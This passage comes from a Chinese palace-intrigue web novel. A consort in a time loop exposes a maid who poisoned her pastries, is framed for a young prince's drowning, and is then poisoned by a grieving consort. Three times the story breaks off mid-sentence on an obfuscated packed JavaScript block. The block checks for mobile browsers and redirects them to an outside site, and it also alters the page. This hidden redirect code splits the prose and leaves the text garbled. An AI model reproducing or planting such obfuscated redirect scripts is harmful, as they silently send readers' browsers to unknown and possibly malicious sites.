乐雪双手紧紧攥在一起,有些慌乱和急切:“娘娘容禀,云岫说御膳房有个小太监是她的同乡,她思乡心切,总想着去说说话。一来二去,二人之间也有几分好感。奴婢与云岫关系好,想着成全她的心愿,又怕这事说出来,众人知晓便不好了,所以先前没说。从前也有过几次,奴婢本以为没什么的,绝非有意欺瞒。” 江昭失望道:“乐雪,你可知这宫中之事,牵一发而动全身?云岫与那小太监的往来,我并非不能容,但你隐瞒不说,若出了事端,岂不是将我置于险境?” 江昭微微顿了顿,接着道:“你可知,那菱角糕里,被人下了剧毒?” 乐雪闻言,惊得目瞪口呆:“什么?是谁要害娘娘性命?对了,云岫……是云岫吗?奴婢要去找云岫!” 江昭制止道:“急什么,醉琴不是去唤云岫和小安子了?你且按捺住你的脾气,待会儿可别露出什么声色来。” 说完,江昭偏过头,目光投向窗外:“你素来忠心,可你如此行事,让我如何放心?” 乐雪自责道:“娘娘,对不起,是奴婢的错,奴婢不该躲懒,更不该自作主张。娘娘曾说云岫也是江家的人,是可信的,奴婢就以为此事无妨,才铸成大错。求娘娘责罚奴婢吧。” 江昭轻轻将乐雪扶起,“说什么责不责罚的,深宫寂寥,只有你们守着我,我怎么舍得罚你。只是下次小心些,眼睛擦亮了,帮我揪出那些心怀鬼胎之人。这次我险些错怪了你。往后,我还要靠你呢。” 乐雪哽咽道:“娘娘安心,奴婢以后定当小心谨慎,绝不再让娘娘失望。” 不多时,醉琴带着云岫和小安子来了,“给娘娘请安,不知娘娘有何吩咐?” “都起来吧”,江昭开门见山,“云岫,本宫有话要问你。今日可是你去提的膳?” 云岫不意她如此问,眼中闪过一丝慌乱,不由自主地看向乐雪。见乐雪故意避开她的目光,云岫心中一紧,忙道:“是奴婢。” 江昭见状,心里有了计较,微微一笑,语气轻描淡写却暗藏锋芒,“云岫,今日你去提的点心不错,可惜本宫没什么胃口。有福同享,这样,既是你提回来的,便先赏你吃一块。”她将一块菱角糕轻轻拈起,递给云岫,眼神却锐利如刀,紧紧盯着她的反应。 云岫微微一愣,随即露出感激的表情,未曾接,却看向乐雪,“多谢娘娘,只是这菱角糕,乐雪姐姐一向喜欢,不如留给乐雪姐姐吃吧。” 乐雪闻言有些恼火,江昭给她使了个眼色,乐雪方才忍住。她厌恶地看着云岫:“娘娘说要赏你,你吃就行了。你还做起娘娘的主了?娘娘一向疼我,我哪里就少这一块呢?倒显得我欺负你似的。” 江昭安抚道:“有功当赏,你安心吃了便是。不必担忧乐雪,本宫还给她留了许多呢。” 云岫踌躇,只得上前双手接过菱角糕。 见众人的目光都聚焦在自己身上,不禁有些局促不安。她低着头道:“只是奴婢还要当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118395|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差,嘴角沾了糕点碎屑不美观,且奴婢不愿把娘娘内室弄脏了”,说着,她取出一方素色手帕,小心翼翼地将菱角糕包了起来,动作轻柔而谨慎,“奴婢将这糕点包在手帕里,回去……慢慢吃。”说罢深深一礼,便要离去。 乐雪早盯着她的动作,一下子便将她拦下,意味深长道:“诶?别着急走啊,这么好的东西,怎么能包起来带走呢?若再放一放,凉了、硬了可就不好吃了。再说,你当差当得辛苦,吃点东西补补精神,也是应该的。这儿又没外人,怕什么呢?快吃吧,别辜负了娘娘的好意。” 醉琴虽不知发生了什么,但主仆三人素有默契,也催促道:“怎么,娘娘赏你的,难道你还看不上不成?” 云岫咬了咬唇,无奈之下,只得展开素帕,指尖微微颤抖着捏起那块菱角糕,往嘴边送去。她微微张口,似是要咬下。可就在那糕点即将触碰唇齿之际,她的动作突然一顿。眼睛紧闭,脸上浮现出害怕的神色,仿佛被什么吓到一般。她的手颤抖得越来越厉害,再也稳不住,那菱角糕“啪”地一声掉落在地上。云岫立即跪在地上,声音带着哭腔,又急又快:“奴婢的手不小心抖了一下,奴婢不是故意的,不是故意的。是奴婢无福,娘娘恕罪!” 江昭好整以暇地看着,心中暗忖:云岫果然与此事脱不了干系。她倒是有几分急智,花样还真不少。看来她早知道些什么,倒不曾冤枉了她。能让江家的人背叛她,这幕后真凶的本事倒大得很。 乐雪喝道:“你这蹄子,怎么这么不小心,糟蹋了娘娘的心意!既是娘娘赏你的东西,容不得你不要。你若愧疚得很,怎不见你捡起来吃了?” 醉琴也指着地上那块菱角糕道:“云岫,你表忠心的时候到了。娘娘赏你的东西就在那里,还不快捡起来吃了。” 云岫只跪着不动,低低地哭着,不住地磕头,“娘娘恕罪……” 江昭冷笑:“不要紧,一块糕点罢了。掉了就掉了,哭什么。来,本宫再赏你一块。” 醉琴接到江昭的眼神,立即上前,半拉半拽,用力将云岫从地上“扶”了起来,并往前推了一把,“瞧你,怎么都站不起来了?娘娘喊你过去呢。” 云岫脸色煞白,看着江昭笑吟吟地拈起又一块菱角糕,好像见了鬼似的,丢了魂魄。她的脚步只勉强挪动了几步,便再也无法向前,僵在了原地。 乐雪喝道:“还不快去!” 云岫满脸都是冷汗,只杵在那里不敢动。 江昭微微挑眉:“磨磨蹭蹭什么?好像本宫欺负了你似的。” 醉琴嗤道:“做这副姿态作甚?倒像咱们逼你吃似的。你怕成那样,难道娘娘赏你的糕点有毒不成?” 乐雪冷哼一声:“同她费什么口舌,不吃是吧,我帮你。” “小安子,摁住她,掰开她的嘴”,乐雪接过菱角糕就要往云岫嘴里塞。云岫不住地挣扎,试图躲避,乐雪道:“躲什么?你不是对娘娘忠心耿耿吗?不过是一块糕点罢了。” 云岫被小安子紧紧摁住,动弹不得,她眼中满是惊恐与绝望,拼命挣扎着,崩溃大哭:“不……不要!奴婢不敢吃!奴婢不敢!娘娘救命!娘娘饶命!” 5. 第二次轮回(三) 小安子和乐雪对视一眼,表面上仍维持着威逼的姿态,实则悄悄松开了对云岫的钳制。云岫猛地挣脱出来,跌跌撞撞扑到江昭脚下,劫后余生,不住地磕头,泣不成声:“娘娘饶命!娘娘饶命!” 江昭戏谑:“这从何说起啊?本宫何时要害你性命了?” 她慢条斯理接着说道,“还是说,你做贼心虚啊。” 江昭目光如刀般盯着云岫,冷声道:“云岫,本宫待你不薄,你为何要背叛本宫?是谁指使你下的毒?” 江昭的声音不高,却透着不容置疑的威严,仿佛一座山压在云岫的心头,“你若如实招来,本宫或许还能饶你一命。否则,本宫的手段,你可清楚得很。届时,那块菱角糕,恐怕你是不吃也得吃了。” 乐雪和小安子立即高声道:“但凭娘娘吩咐!” 云岫的眼泪如断了线的珠子般滚落下来,好不可怜:“娘娘饶命!静贵人……找人告诉奴婢,说您的家族已经对奴婢的家人不利,奴婢的父母如今在江家受尽折磨,下一个恐怕就轮到奴婢了。她拿出还奴婢父母的信物,奴婢一看就是父母心爱之物。奴婢伤心害怕至极,只得照着静贵人的吩咐,做出了这样的事情。娘娘待奴婢恩重如山,奴婢本不想害娘娘的!” “蠢货!”江昭冷声呵斥,满是失望,“你被人利用了还不自知!你父母在江家都好好的。你若怀疑,为何不亲自来问本宫,或者书信一封予你父母,确认真假?静贵人的话,你也信得过?” 醉琴有些不信任云岫:“娘娘,这云岫素来胆小怯懦,怎会如此轻易被人利用?她的话,还请娘娘仔细甄别。这宫中人心险恶,难保她不是受人指使,故意在此混淆视听。” 乐雪严厉道:“还不据实说来?若有欺瞒,小心你的脑袋!” 云岫吓得身子一颤,急忙摇头:“奴婢句句属实,不敢欺瞒!娘娘,奴婢真的是一时糊涂,被静贵人蒙蔽了双眼。静贵人拿出了奴婢父母的信物,奴婢实在是一时心乱,才做出了这样的事。奴婢知错了,求娘娘宽恕!” 江昭正欲继续追问云岫,却听得门外脚步匆匆。 小福子着急忙慌地跑了进来:“娘娘,不好了,四皇子在御花园中溺水身亡,皇后娘娘正宣各宫嫔妃去坤宁宫呢。” “什么?!”江昭惊疑不定,明明她没去御花园,没有她那块有毒的菱角糕,四皇子为什么还是死了? 她原本以为幕后之人是冲着她来的,毕竟谁能想到她没自己吃,反倒一时兴起,把菱角糕递给了四皇子呢?可是…现在看来,难道幕后之人是冲着四皇子来的,栽赃她只是顺带的? 江昭心里忐忑不已,她隐隐有种不好的预感,总感觉事情不受掌控,如同被云雾遮蔽了一般看不清全貌。 “小安子,捆了她,悄悄地关在库房里,别叫人瞧见了,等我们回来再审”,江昭快速吩咐道,“乐雪,你快去探望一下宁姐姐,看看她情况如何,顺便打听清楚事情的来龙去脉。” 乐雪应“是”,匆匆去了。 江昭带着醉琴匆匆前往坤宁宫。“醉琴,待会儿仔细观察。”醉琴心思缜密,善于捕捉细节,能帮着留意众妃行事。或许从她们的细微举动中,能够找出杀害四皇子的真凶。想起那个甜滋滋喊她明额娘的孩子,江昭心里伤感,她以为只要没有她的那块糕点,四皇子不会有事的,谁能想到…她一定要找出害死四皇子的真凶。至于云岫,等她回来再处置。 随着太监的一声,“明嫔娘娘到——”,江昭沉稳走入坤宁宫,余光瞥见除了贤妃的位置是空的,其余妃嫔皆已落座。奇怪,以忘忧宫到坤宁宫的距离,她不该是最后到的。 江昭迎着众人的目光,镇定地福身行礼。等了半晌,却不见皇上叫起。江昭心里一咯噔,小心抬头,只见上首皇帝面色沉沉,带点薄怒,带点哀伤。 皇后许疏月坐在略下首的地方,一副叹惋的表情,眼角眉梢中却还有点掩饰很好的愉悦。 众妃坐于两旁,正用手帕轻轻擦拭脸颊的泪痕,并悄悄遮住微扬的嘴角。 和常在低着头,手指绞紧了帕子,像是怕被谁注意到。 江昭不明所以,却听得皇帝冷冷撂下一句,宛如平地惊雷:“四皇子溺毙,手里紧握着一枚冰花海棠玉佩,朕记得,是你的常用之物。上头的络子花样,也是你宫里的手艺。明嫔,你有何话说?”皇帝说罢,一挥手,常总管立刻将那玉佩呈到江昭面前。 江昭仔细看着:玉佩上,海棠花木扶疏,叶片纹路清晰,花瓣花蕊栩栩如生。表面光滑锃亮,却也带着几道磨损划痕。络子是她与乐雪、醉琴精心挑选的天青渐变色穗子,攒心梅花的样式。的确是她的东西。 江昭心里一沉,看来幕后之人是有备而来,不仅要对付四皇子,还要她的命。见她没去御花园,还有后手等在这里。 有了之前那次被栽赃的经历,江昭不再如上回那般惊慌愤怒。缓缓跪下,不卑不亢回道:“皇上,臣妾冤枉。这玉佩虽为臣妾之物,但早就赐给了贴身婢女醉琴,已于日前丢失。且今日臣妾的早膳糕点被人下了毒,臣妾忙于审问宫内之人,根本不曾前往御花园,又如何害死四皇子呢?” 皇帝听了,也不知是信了还是没信,只道:“去查。”便有几个小太监前往忘忧宫查验糕点去了。 与江昭一同选秀入宫的云常在温蕊,不甘居于小小常在之位,更是不愿放弃此次拉下江昭的机会,率先发难:“荒谬,你说丢了便丢了吗?你说未曾前往御花园,可有人作证吗?” 一心爱慕皇帝,嫉妒江昭家世和位份的静贵人也质疑道:“皇上,依嫔妾看,分明是四皇子被推入水前挣扎时,从明嫔或其宫人身上扯下了玉佩,不曾被她们发觉。如今被发问到头上,骤然发现如此纰漏,不得不谎称失窃,以此祸水东引。” 江昭隐忍,不停地思考破局之法,冷静辩道:“皇上,敢问四皇子身边伺候之人何在,臣妾和醉琴皆是弱女子,怎能在他们的保护之下淹死四皇子。御花园中人来人往,也许就有人瞧见了真凶,还请皇上彻查,还臣妾清白。” 敏贵人乔元儿唯恐天下不乱,火上浇油道:“伺候的宫人早就被支开了,湖边只有四皇子一人,自然方便人动手。如今他们皆因保护主子不力被杖毙,已然是死无对证。” 付璃轻瞥一眼云常在温蕊,温蕊会意:“皇上容禀,今儿早上,嫔妾瞧见明嫔的贴身婢女醉琴在御花园里左顾右盼、鬼鬼祟祟的,不知在做什么。” 江昭冷笑道:“云常在,你好大的胆子!皇上面前,也敢做伪证?你空口白牙污蔑我的婢女,醉琴她今日根本没有离开过忘忧宫。欺君罔上,你可知罪?” 敏贵人提议道:“皇上,既然双方各执一词,不如严刑拷打醉琴,不信她吐不出真话来。醉琴可是明嫔从江家带入宫的,定知道不少机密之事。” 穆妃倒是理智,出言制止道:“屈打成招,又有多少可信呢。” 大殿之中,气氛一时沉凝。醉琴自始至终低眉敛目,默然无语,就在众人以为她会一直沉默下去之时,她却忽然抬起头来,似是鼓足了全身的勇气,义愤填膺道:“皇上饶命,其实……那玉佩根本没有丢失,奴婢日日佩戴着。奴婢也不想害四皇子的,只是娘娘下令,奴婢不敢不从。奴婢一家老小的命还在江府手里啊!” 荣嫔江萤听得涉及江府,斥道:“此事可并非江府让你所为,江府何辜?你这害死皇子的贱婢,勿要随意攀咬。” 江昭骤然被心腹背刺,不敢置信:“醉琴……你,你撒谎。前几日你分明同我说,那玉佩遗失了,你当时还甚是伤心。我也从未下过这般命令,我有何理由要害四皇子?” 醉琴显得有些阴郁:“娘娘一直觉得贤妃家世不显,却育有皇子,高居妃位,着实不配。嘱托奴婢趁四皇子独自一人时,将其暗害。为逃脱嫌疑,还让云岫吩咐御膳房的小顺子在糕点中下毒,伪造成被人谋害的模样。” 兰嫔沈知微质疑道:“可你为何先是残忍淹死四皇子,如今才将你们的谋算全盘托出呢?” 醉琴闻言,不停地磕起头来。她的额头重重地撞在冰冷的地砖上,磕得皮开肉绽,鲜血顺着发髻滴落,染红了身前的一方地面,模样凄惨至极:“奴婢不想的,奴婢真的不想的……奴婢都是听从主子的命令。可是奴婢真的良心不安,再也不想为虎作伥了。奴婢愿赔上性命赎罪,只求皇上饶恕奴婢家人!” 话音刚落,她突然拼尽力气,猛地撞向身旁的柱子。只听“砰”的一声闷响,她的头重重地砸在柱子上,随即身躯软软地顺着柱子滑落在地。一动不动,当场咽气了。 众人惊呼,阻拦不及,只能眼睁睁看着这一幕发生,满心惊骇。常总管等人面色大变,立即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118396|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏首请罪:“奴才失职!” 瑜常在文茵看着眼前这场闹剧,只觉得真是荒谬极了。她不爱皇上,亦不愿掺和进这一堆是非恩怨之中。她不想再看下去,于是利落起身,福身行礼,声音清冽如冰:“皇上恕罪,此等惨状,嫔妾瞧了实在不适,先行告退了。” 和常在周蕙儿素来性子怯懦,平日里在众人中如同一个透明人一般。先是听闻四皇子溺亡,早就惊恐不已;接着又近距离目睹了那惨烈的自尽场面,死者的血迹尚在眼前,死状之可怖令她肝胆俱裂。她吓得双腿发软,身体不由自主颤抖起来,勉强稳住身形,抖抖索索地跟着行了一礼,声音里带着浓浓的惊惧:“嫔妾也……也实在受不住了,嫔妾告退了。” 芙贵人陆瑶哪里见过这等场面,吓得双目含泪,颤声道:“皇上,这,这……” 常总管等人赶忙将醉琴的尸体蒙上白布,拖了出去。 宫婢当众自尽于堂前,有污圣目,皇帝愈发恼怒。众人觑着皇帝神色,皆不敢多言。 江昭正震惊于醉琴的当众背叛,又见相伴多年的人就这么自尽于眼前,心中复杂不已。但她知道此时不是伤心的时候,强打精神辩道:“云岫在臣妾的饮食中下毒,欲害臣妾性命。她已然招认,乃是受静贵人指使,求皇上做主!醉琴不知被谁胁迫,故意将臣妾的玉佩塞于四皇子的手中,又构陷臣妾,颠倒黑白,求皇上明察。” 静贵人眸光一闪:“皇上,嫔妾实在冤枉!明嫔她分明是在祸水东引,妄图将罪名嫁祸于嫔妾!” 静贵人身为皇帝表妹,自有几分底气:“方才在众人面前,醉琴已然亲口吐露,这一切皆是明嫔自导自演,妄图借此逃脱罪责!云岫本就是她的宫女,还不是听凭她吩咐行事。皇上千万不可被她的花言巧语蒙蔽了!” 云常在帮腔道:“是啊,皇上,这分明是明嫔为了脱罪胡乱攀咬,贼喊捉贼!” 穆妃提醒道:“皇上,醉琴已然自尽,死无对证。可云岫还在呢。” 皇后许疏月此时轻柔开口:“皇上,想起四皇子死前那般挣扎,臣妾便心痛不已。若是大皇子被那般对待,臣妾恨不得立时去死。” 育有皇子的妃嫔皆面露不忍。 云常在图穷匕见:“醉琴对害死四皇子,供认不讳,死不足惜。只是,幕后真凶尚未得到应有的下场,还请皇上皇后娘娘做主。” 皇后又劝道:“贤妃骤闻孩子死讯,悲痛欲绝。又挣着去瞧了孩子的模样,承受不住打击,一下子昏厥过去,至今未醒。皇上是一国之君,又是人父,该给她一个交代才是。” 皇帝不辨喜怒,黑沉沉的眸子紧盯着江昭,声音透着寒意:“明嫔,你,还有话要说吗?” 江昭看着眼前的一切,只感觉和上一回真是相似极了,又是落得这般地步。可她不甘心重来一回还是这种结果,哪怕是死局,她也一定要挣出一条生路来。 她这回已经有了心理准备,镇定回道:“皇上与臣妾相处也有些时日,知道臣妾性情如何、与贤妃关系如何。臣妾发誓不曾做过,若违誓言,天诛地灭。皇上想想若说谎之人是醉琴,那幕后真凶不止要害四皇子,还要害臣妾的性命。真真是好手段,一石二鸟,心机城府如此之深,不声不响地策反臣妾的贴身婢女。” 敏贵人讥讽道:“明嫔,你这两个宫女都看不惯你,可见,你要么是不得人心,要么是御下不严呢。” 恰在此时,去查验糕点的小太监进来禀报:“启禀皇上,经奴才查验,忘忧宫早膳的菱角糕中含有断肠草汁,些许便可要人性命。” 江昭泪盈于睫:“皇上,臣妾求您给臣妾三天时间,让臣妾查清醉琴之事。还请皇上将云岫和御膳房的小顺子拿下,彻查菱角糕点之事。这两桩事,或许是同一人所为”,江昭愤恨地看向静贵人,“臣妾坦坦荡荡,不想蒙受不白之冤!” 陆瑶看着江昭从一个傲骨铮铮的世家贵女变成如今破碎脆弱的模样,又想起江昭昔日的和煦包容,忍不住说道:“我相信江姐姐不是那样的人。” 穆妃仗义执言道:“此事单凭醉琴之言,也算不得什么实证。臣妾觉得此事似乎还有隐情。” 皇后打量皇帝眼色,小心翼翼道:“皇上,此事扑朔迷离,尚无定论。本不该处置明嫔妹妹,但涉及皇子,关系重大,且贤妃那里……皇上看,该如何处置呢?” 6. 第二次轮回(四) 皇帝迟疑,沉思片刻,终下决定:“明嫔江氏,御下不严,兼有戕害皇子之嫌,褫夺封号,降为答应。暂关押忘忧宫,非诏不得出。静贵人付氏,一并禁足。”并吩咐常总管道:“给朕彻查,务必找出溺毙皇子的真凶,朕要摘了他的脑袋。” 静贵人有些不服,然抬眼瞥见皇帝神色冷峻,终究不敢妄动,只得狠狠盯着江昭,满是怨毒和不甘。 江昭精疲力尽,心终于落在实处,微微松了口气,紧绷的神经也稍稍安定下来。局势终于有了改变,这便是生机。好歹还有时间,只要活着,便有翻盘的机会。她心中暗自庆幸:这次的结果与上次大不相同,太好了。 皇后道:“皇上圣明!”又宽慰道:“此事干系重大,要暂时委屈江答应和静贵人一段时间了。本宫和皇上一定尽快查明真相,还尔等一个清白。” 江昭和付璃谢过皇帝皇后。 静贵人道一声“晦气”,朝江昭翻了个白眼,气冲冲回宫去了。 来时江昭身旁尚有醉琴相随,如今回去时却只剩她孤零零一人,身后还跟着几个负责看押的侍卫。 踏入宫门的那一刻,沉重的宫门在她身后缓缓合上,将她与外界隔绝。宫内一片萧条,宫人们皆惶惶不安,窃窃私语,却又不敢明言。 不多时,一阵嘈杂的声响打破了宫内的寂静。一群人闹哄哄地涌入库房,脚步声、斥责声、挣扎声交织在一起,显得混乱不堪。云岫被几个侍卫从角落里拽了出来,她原本就惊魂未定,此刻更是吓得瑟瑟发抖,被拽得踉踉跄跄。这些人,是拿她的命来了!她一边哭着,一边试图挣脱侍卫的钳制,可哪里挣得开?她呜呜地哭着,泪水模糊了双眼,带着几分后悔,看向江昭的方向。 江昭有些叹惋,安抚道:“事到如今,云岫,你就如实交代吧。你既做了,便要承担后果。坦白真相,或许还能有一线生机。” 内务府总管钱安泰也从宫门口走了进来,脸上挂着一抹似笑非笑的神情,敷衍地给江昭打了个千儿,尖着嗓道:“娘娘,哦不,小主,抱歉了。只是这答应的位分,实在用不着这么多奴才伺候。照理说,您如今也不该再住正殿了。不过,皇后娘娘仁慈,特命您不必挪动,也算是给您留了颜面。” 话音落下,他环视了一圈,随即抬手唤来一众宫女太监,冷声吩咐道:“都随我来。”众人不敢怠慢,纷纷跟在他身后,片刻间便走得干干净净。只留下江昭独自一人面对这空荡荡的宫殿。 小安子见状,气得满脸通红,忍不住想要上前理论,却被江昭阻拦。江昭摇头,低声道:“形势比人强,忍一时之气,以待来日。” 沉重的宫门缓缓打开,又在众人离去之后紧紧合拢,将一切都隔绝在外。 掌事姑姑入画目睹一切,宽慰道:“小主能这样想便很好,留得青山在,不怕没柴烧。宫里的事,不是东风压了西风,就是西风压了东风。今日得势,来日却未必长久。眼见她起高楼,眼见她宴宾客,眼见她楼塌了。只要小主您忍得下这口气,来日未必没有翻盘之时。重要的是,心气万不可散了。只要心气不灭,总有东山再起之时。奴婢愿小主守得云开见月明。” 江昭感念道:“入画,多谢你。你的这番话,我记在心里了。” 入画和煦道:“小主不必客气,您能想开就好。咱们同在宫中,本就是一条心。若有什么难处,您尽管开口,入画定当竭力相助。” 江昭感到一丝温暖,“那我就先谢过你了。你且去忙吧,我这里无事。”入画恭敬福身,转身离去。 江昭目送她的背影,心中默默念道:“入画,你这番情谊,我江昭定会铭记。” 如今宫里,人手凋零,死的死,散的散,只剩下寥寥几人。小安子是唯一留下的太监,负责茶水的二等宫女烟岚仍在,负责洒扫的轻罗也还在。入画姑姑虽在,却也不能贴身伺候她了。 随着时间的流逝,天色也渐渐暗了下来,暮霭如轻纱般笼罩了整个宫殿,四周愈发显得寂静而冷清。忽听得宫门外头传来一阵争执声。那声音高高低低,听不真切,似乎是有侍卫在呵斥“圣上旨意,不得入内!”,好像又有人在争论“本宫你也敢拦?”,“你去禀了圣上,看圣上怎么说!” 片刻之后,争执声戛然而止,紧接着便是宫门的锁被打开的声音,铁链摩擦的声音在寂静中显得格外刺耳。 贤妃的身影出现在门口,容色十分憔悴。乐雪紧紧跟在她身后,手上提着一个鼓鼓囊囊的包袱,脸上满是焦急与担忧,好像随时都要哭出来。 乐雪快步走到江昭面前,围着她仔细打量了一圈,眼泪在眼眶里打转,她心疼道:“小主,奴婢都听说了,怎么会,怎么会这样呢?咱们早晨分明都没离开宫殿,醉琴……醉琴她怎么会那么说呢?小主您怎么样了?他们没把您怎么样吧?奴婢都不在您身边……”她越说越急,声音都带着哭腔。 江昭抱抱乐雪,安慰道:“乐雪,别急别急,我好好的呢,别哭啦,快进来说”,忙将二人迎进内室。 贤妃坐在榻上,有些疲惫,却依旧温和,轻声吩咐道:“乐雪,你去沏一壶阳羡雪芽来吧。你主子去我那里,素日爱喝的,在带来的包袱里。” 江昭微微一笑,语气中带着几分调侃与温柔,道:“姐姐,我又不是小孩子了,哪里就少了这杯阳羡雪芽呢?姐姐来我这儿,该是我好好招待姐姐才是。我这里虽没有阳羡雪芽,倒也有雾山青,也是上好的茶,姐姐尝尝可好?” 贤妃道:“可我今日倒格外想品这一口,你就陪陪我吧。” 江昭对乐雪摆摆手,示意她去泡茶,“那就依姐姐所言。” 二人一时沉默,江昭微微垂眸,有些不知道该以何种态度面对贤妃,她们之间虽有旧情,但如今局势复杂,人心难测。但贤妃既然来了,应该还是相信她的吧。 终是贤妃开口,打破了这宁静:“我给你带了些东西。你禁足期间,难保内务府那起子狗奴才见风使舵,克扣你的份例,慢待于你。你千万要保重自身。” 江昭关切道:“多谢姐姐。姐姐让我保重自身,可姐姐自己又何曾好好保重呢?瑾儿的事……姐姐节哀,千万要振作起来,勿要伤怀太过,莫让那起子奸人得意了。” 贤妃听到这话,心底最柔软也最脆弱的那根弦一下子被触动了,眼眶瞬间就红了起来,泪珠仿佛随时都会夺眶而出。她微微侧过身去,肩头微颤,落寞之意愈发浓重。 江昭恳切道:“如今还有查找真凶的时间,只是我如今被禁足,出不去。只能麻烦姐姐了。” 贤妃微微摇头:“本应如此。” 沉默片刻,她轻叹一声,“瑾儿的事,我想……”,话未说完,她便停了下来,深吸一口气,努力让自己的情绪平静下来。 乐雪轻手轻脚走来,小心翼翼呈上茶来,“两位小主,茶好了。”茶盏中,茶叶在水中缓缓舒展,芽叶挺直,仿佛初春的嫩芽破雪而出。茶汤色泽嫩绿明亮,热气袅袅升起,带着淡淡的茶香弥漫开来,驱散了几分室内的沉闷。 “姐姐,你方才想说什么?”江昭问。 “没什么,不重要,我们先喝茶吧”,贤妃转过头来,目光落在茶盏上,带着一丝怀念:“尝尝看,还是曾经的味道吗?”她端起茶盏,茶汤在杯中微微晃动。她轻吹了吹热气,然后浅浅抿了一口,微微闭上眼睛,仿佛在回味着什么。 江昭也端起茶盏,吹散茶面上的热气,然后轻轻啜了一口。茶汤入口,淡淡的兰花香在舌尖蔓延,沁人心脾。她点头道:“还是那个味道,清新又醇厚。”她将茶盏轻轻放下,目光柔和地看着贤妃,眼神中带着几分温暖与慰藉。 茶汤雾气蒸腾中,贤妃有些恍惚,一时怔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118397|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔地看着江昭,喃喃道:“是么?可是我怎么觉得这茶原本滋味甘甜,如今喝来却有些苦涩。就如同人一般……善变极了。” 江昭微微一怔,怕贤妃陷入了迷障,劝慰道:“姐姐,茶的味道或许不曾改变,只是品茶的心境不同罢了。这世间固然人心善变,但总有一些情谊是不变的。就像这茶,无论世事如何变迁,它的本味始终如一。只要我们初心不改,便不会轻易被外界的苦涩所左右。” 江昭说罢,又端起茶盏啜了一口,语气中带着几分俏皮:“不过,听了姐姐所言,仔细一品,今日这茶倒确实有几分微苦呢。或许是今时今日,我们的心情都有些沉重,所以连这甘甜的茶水也觉得苦涩吧。”她眼中带着一丝温柔的调侃,试图用轻松的话语缓解两人之间的沉重氛围。 贤妃不答,却吟道:“欲买桂花同载酒,终不似,少年游。长恨人心不如水,等闲平地起波澜。”她的声音低沉而哀怨,似乎是在感慨世事无常,人心易变。 江昭答道:“物是人非事事休,欲语泪先流。千磨万击还坚劲,任尔东西南北风。愿岁并谢,与长友兮。”她的目光坚定而明亮,仿佛在用这几句诗回应贤妃的感慨,表达着她对情谊不变的信念。 只是,江昭心中隐隐有些不祥的预感,她有些不安,但终究鼓足勇气,把自己的害怕听到答案的那个问题问出口:“姐姐,她们都说是我害死了瑾儿……你信吗?”她目光满是祈求,望着贤妃方向。 然而,就在此时,江昭忽然感觉喉头一甜,一口腥甜的血瞬间涌了上来,呛了出来。刺痛如潮水般从心脏深处蔓延开来,席卷全身。她下意识扶着桌子站起来,捂住胸口,身子一晃,猛地摔倒在地上,身旁的茶盏也被带倒在地,清脆的瓷器“哗啦”一声碎裂在地上。 乐雪本在门外守着,听到内室传来杯盏碎裂的声音,心中一惊,赶忙推门跑进来。一眼瞧见江昭倒在地上,嘴角不断涌出鲜血,她顿时吓得六神无主。她急忙上前扶起江昭,颤抖着拿绢帕去擦拭她嘴角的血迹,可那血却越涌越多,怎么都擦不完。乐雪急得满头大汗,声音带着哭腔,凄然喊道:“小主!小主!你别吓我!” 江昭无暇安慰乐雪,她靠在乐雪身上,捂着胸口,艰难抬起头来,不敢置信道:“姐姐……你在茶里下了毒?” 贤妃仍坐在榻上,一动不动,宛若一尊雕像,她的目光空洞而遥远,仿佛穿透了眼前的这一切,落在了某个遥远而痛苦的回忆之中。她没有看江昭,只是垂眸道:“对不住……只是我一想到我的孩子,我就什么都想不了了。” 在毒药的作用下,江昭的视线逐渐模糊,贤妃的面容在她的眼中变得模糊不清,仿佛隔着一层薄雾,只听得贤妃迷茫的声音传来,“你知道,我擦拭孩子的身体,为他整理遗容时,见到他手里紧紧攥着你的玉佩是什么感觉吗?……我怎能,我怎能相信你?” 贤妃的声音微微颤抖,带着一丝疲惫与决绝:“没关系,乌/头/碱……我也喝了,送你下去后,我也会去陪你的。孩子不在了,我也不想活了。”她的语气中没有一丝波澜,仿佛在诉说着一件与自己无关的事情,然而那隐藏在平静之下的痛苦却让人十分不忍。 江昭的意识渐渐模糊,她的身体越来越沉重,越来越冰冷,仿佛被无形的黑暗一点点吞噬。贤妃的声音和乐雪焦急的声音,好像从遥远的地方传来,渐渐地,也听不到了。 江昭的呼吸越来越微弱,她的目光缓缓失去焦点,最终阖上了眼睛。她的手无力地滑落在地,身旁的一切声音都渐渐远去,只剩下一片寂静。 